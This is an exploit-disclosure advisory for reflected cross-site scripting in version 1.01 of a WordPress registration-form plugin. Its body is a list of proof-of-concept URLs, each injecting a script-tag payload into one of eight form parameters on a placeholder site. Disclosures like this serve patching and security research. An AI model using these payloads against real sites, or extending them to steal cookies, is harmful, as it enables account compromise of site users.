======================================================================================== Custom Frontend Login Registration Form v1.01 (WP Plugin) - Multiple XSS Vulnerabilities ======================================================================================== ____________________________________________________________________________________ # Exploit Title: Custom Frontend Login Registration Form (WP Plugin) - Multiple XSS Vulnerabilities # Date: [11-13-2018] # Category: Webapps ____________________________________________________________________________________ # Author: Socket_0x03 (Alvaro J. Gene) # Email: Socket_0x03 (at) teraexe (dot) com # Website: www.teraexe.com ____________________________________________________________________________________ # Software Link: https://wordpress.org/plugins/custom-frontend-login-registration-form # Plugin: Custom Frontend Login Registration Form # Version: v1.01 (last version) # File: Registration Form # Parameters: reg_bio, reg_email, reg_fname, reg_lname, reg_name, nickname, reg_password, and reg_website. # Language: This application is available in English language. # Plugin Description: A WordPress plugin that an administrator can use to create login forms and custom registration forms; then, after creating those forms, an admin can use a shortcode to place a login/registration form on a page or post. ____________________________________________________________________________________ # Cross-Site Scripting Vulnerabilities: Registration Form - Parameter: reg_bio http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=qadoh"><script>alert(1)<%2fscript>b7sb3m2scdh&reg_submit=reg_submit%3dRegister&reg_lname= Registration Form - Parameter: reg_email http://www.website.com/wordpress/index.php/registration-form/?reg_email=i1brx"><script>alert(1)<%2fscript>ee1c8o5kj1l&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname= Registration Form - Parameter: reg_fname http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=r3mo6"><script>alert(1)<%2fscript>v4q2lzsnk7m&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname= Registration Form - Parameter: reg_lname http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=ahrpv"><script>alert(1)<%2fscript>z50y4k9db7m Registration Form - Parameter: reg_name http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=&reg_fname=&reg_name=fi8ze"><script>alert(1)<%2fscript>j8rjcha5rvf&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname= Registration Form - Parameter: nickname http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=&reg_nickname=v0g30"><script>alert(1)<%2fscript>qm20vz35hbz&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname= Registration Form - Parameter: reg_password http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=&reg_password=nn3du"><script>alert(1)<%2fscript>aopv3zr72k7&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname= Registration Form - Parameter: reg_website http://www.website.com/wordpress/index.php/registration-form/?reg_email=&reg_website=io8na"><script>alert(1)<%2fscript>iuotdm7w5i2&reg_password=&reg_nickname=&reg_fname=&reg_name=&reg_bio=&reg_submit=reg_submit%3dRegister&reg_lname=